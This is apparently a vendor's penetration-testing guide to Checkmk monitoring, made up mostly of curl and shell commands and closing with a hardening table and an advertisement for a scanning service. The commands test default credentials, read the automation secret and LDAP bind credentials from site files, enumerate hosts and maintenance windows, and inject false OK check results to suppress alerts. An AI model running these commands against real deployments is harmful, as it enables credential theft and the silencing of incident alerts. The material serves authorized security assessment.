Checkmk Security Testing: Default Credentials, REST API, Agent Registration, and Monitoring Bypass

Checkmk is one of the most widely deployed open-source infrastructure monitoring systems, used by enterprises and MSPs to monitor servers, network devices, cloud infrastructure, and applications. It represents a high-value target for two reasons: it maintains a complete inventory of all monitored infrastructure including IP addresses, service configurations, and health states; and its integration architecture often stores credentials for LDAP, SMTP, and external notification systems. Key assessment areas: Checkmk ships with default credentials of cmkadmin/cmkadmin; the REST API with automation user credentials provides full host and service enumeration; Checkmk agent registration uses a shared secret that allows injecting rogue monitoring agents; the WATO configuration stores LDAP bind credentials and SMTP passwords; and passive check submissions can inject false service state data to suppress real alerts. This guide covers systematic Checkmk security assessment.

Table of Contents

  1. Default Credentials and REST API Access
  2. Host Inventory and Service Configuration Enumeration
  3. Agent Registration and Passive Check Injection
  4. Checkmk Security Hardening

Default Credentials and REST API Access

# Checkmk — default credentials and REST API authentication
CHECKMK_URL="https://checkmk.example.com/monitoring"
SITE_NAME="monitoring"

# Test default cmkadmin/cmkadmin credentials
curl -s "${CHECKMK_URL}/check_mk/login.py" \
  -c /tmp/cmk_session \
  -d "_username=cmkadmin&_password=cmkadmin&_login=1" \
  -L 2>/dev/null | grep -i "logout\|cmkadmin" | head -3

# REST API — automation user credentials
# Default automation user: automation / automation_secret (in ~/monitoring/var/check_mk/web/automation/)
AUTOMATION_SECRET=$(cat /opt/omd/sites/${SITE_NAME}/var/check_mk/web/automation/automation.secret 2>/dev/null)
echo "Automation secret: ${AUTOMATION_SECRET}"

# REST API v1 — get all hosts
curl -s "${CHECKMK_URL}/check_mk/api/1.0/domain-types/host_config/collections/all" \
  -H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
hosts = d.get('value',[])
print(f'Monitored hosts: {len(hosts)}')
for h in hosts[:20]:
    e = h.get('extensions',{})
    print(f'  {h.get(\"id\")} ip={e.get(\"ipaddress\")} folder={e.get(\"folder\")} tags={list(e.get(\"tag_groups\",{}).values())}')
" 2>/dev/null

Host Inventory and Service Configuration Enumeration

# Checkmk host inventory and service enumeration via REST API
CHECKMK_URL="https://checkmk.example.com/monitoring"
AUTOMATION_SECRET="automation-secret-here"

# Get all services for a host — complete service configuration
HOST="target-host"
curl -s "${CHECKMK_URL}/check_mk/api/1.0/objects/host/${HOST}/collections/services" \
  -H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
services = d.get('value',[])
print(f'Services for ${HOST}: {len(services)}')
for s in services[:20]:
    e = s.get('extensions',{})
    print(f'  {s.get(\"id\")} state={e.get(\"state\")} plugin_output={e.get(\"plugin_output\",\"\")[:80]}')
" 2>/dev/null

# Enumerate all host groups — maps infrastructure topology
curl -s "${CHECKMK_URL}/check_mk/api/1.0/domain-types/host_group_config/collections/all" \
  -H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
groups = d.get('value',[])
print(f'Host groups: {len(groups)}')
for g in groups:
    print(f'  {g.get(\"id\")} alias={g.get(\"extensions\",{}).get(\"alias\")}')
" 2>/dev/null

# WATO (Web Administration Tool) configuration — credential extraction
# Site configuration stores LDAP and notification credentials
omd su ${SITE_NAME:-monitoring} -c "cat ~/etc/check_mk/multisite.d/wato/user_connections.mk 2>/dev/null"
# Contains: LDAP bind_dn, bind_pw for Active Directory integration

Agent Registration and Passive Check Injection

# Checkmk agent registration and passive check injection
CHECKMK_URL="https://checkmk.example.com/monitoring"
AUTOMATION_SECRET="automation-secret-here"
SITE_NAME="monitoring"

# Agent registration — shared secret allows registering rogue agents
# The agent controller uses a shared registration token
AGENT_REG_SECRET=$(omd su ${SITE_NAME:-monitoring} -c "cat ~/etc/cmk-agent-ctl.toml 2>/dev/null | grep -A2 registration")

# Passive check submission — inject false service states
# The nsca/process-service-result endpoint accepts check results from agents
# If NSCA is not authenticated, false results can suppress real alerts
curl -s -X POST "${CHECKMK_URL}/check_mk/api/1.0/domain-types/service/actions/process-service-result/invoke" \
  -H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
  -H "Content-Type: application/json" \
  -d '{
    "hostname": "target-host",
    "service_description": "Check_MK",
    "status": 0,
    "output": "OK - Everything looks fine (injected)",
    "performance_data": []
  }' 2>/dev/null

# Enumerate all scheduled downtime — reveals maintenance windows
curl -s "${CHECKMK_URL}/check_mk/api/1.0/domain-types/downtime/collections/all" \
  -H "Authorization: Bearer automation ${AUTOMATION_SECRET}" \
  -H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
downtimes = d.get('value',[])
print(f'Scheduled downtimes: {len(downtimes)}')
for dt in downtimes:
    e = dt.get('extensions',{})
    print(f'  Host: {e.get(\"host_name\")} start={e.get(\"start_time\")} end={e.get(\"end_time\")}')
" 2>/dev/null

Checkmk Security Hardening

Checkmk Security Hardening Checklist:
Security TestMethodRisk
Default cmkadmin/cmkadmin credentialsPOST to login.py with cmkadmin:cmkadmin — provides full WATO admin access including all host configurations, stored LDAP bind credentials, SMTP settings, and notification rule managementCritical
Automation secret extraction and REST API accessRead ~/var/check_mk/web/automation/automation.secret — enables full REST API access to enumerate all hosts, services, users, and configurations; also enables passive check injection and downtime schedulingCritical
LDAP bind credential extraction from WATO configRead ~/etc/check_mk/multisite.d/wato/user_connections.mk — bind_dn and bind_pw for Active Directory integration; LDAP bind credentials often have broad read access to AD including all user and group objectsHigh
Passive check injection to suppress alertsPOST /api/1.0/domain-types/service/actions/process-service-result/invoke — submit OK state for critical services; suppresses real alerts by overriding actual check results; monitoring team receives false-positive "all clear" during an incidentHigh (requires automation credentials)
Maintenance window enumerationGET /api/1.0/domain-types/downtime/collections/all — reveals all scheduled maintenance windows; identifies optimal attack timing when monitoring is deliberately suppressedMedium

Automate Checkmk Security Testing

Ironimo tests Checkmk deployments for default cmkadmin credential exploitation, automation secret extraction and REST API host enumeration, WATO LDAP bind credential access, passive check injection for alert suppression, agent registration secret exposure, downtime schedule enumeration, site user filesystem permission review, and multi-site cross-access boundary testing.

Start free scan